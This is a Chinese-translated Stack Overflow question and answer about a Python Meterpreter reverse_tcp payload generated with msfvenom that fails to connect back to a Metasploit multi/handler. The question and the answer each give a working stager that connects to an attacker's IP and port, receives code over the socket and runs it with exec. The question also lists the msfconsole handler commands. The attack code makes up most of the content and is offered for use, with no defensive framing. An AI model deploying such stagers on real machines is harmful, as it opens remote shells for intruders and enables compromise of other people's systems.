首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Meterpreter未连接回- Python

Meterpreter未连接回- Python
EN

Stack Overflow用户
提问于 2016-03-06 02:48:08
回答 1查看 654关注 0票数 0

我已经使用msfvenom创建了以下python有效负载:

代码语言:javascript
复制
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('MY PUBLIC IP',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})

然后,我打开了msfconsole,并执行了以下操作:

代码语言:javascript
复制
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.0.186 (MY LOCAL IP)
set LPORT 3930
exploit

它在192.168.0.186:3930上启动反向TCP处理程序,并启动有效负载处理程序。但是,当我在另一台计算机上运行该脚本时,负载在等待大约一分钟后超时,并且msfconsole没有注册任何内容。我在路由器上转发了3930端口。我在这里做错了什么?

EN

回答 1

Stack Overflow用户

发布于 2016-09-26 11:58:40

这是我在Unix系统上用于反向TCP的代码,其中包含您提供的详细信息。然而,我在错误搜索后偶然发现了你的帖子,所以这并不是100%完美的。我曾经让它完美地工作过,但就在最近,它开始变得滞后。它将在内部系统上运行一次,但在此之后的任何操作都会给我与您得到的相同的错误消息。在广域网上执行此操作时,我也会收到相同的消息,而不是在局域网上执行此操作,但是它不会在第一次运行时运行。你们有什么ISP?它可能完全依赖于此。

代码语言:javascript
复制
import socket,struct
s=socket.socket(2,1)
s.connect(('IP ADDRESS',3930))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(4096)
while len(d)!=l:
    d+=s.recv(4096)
exec(d,{'s':s})
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/35818299

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档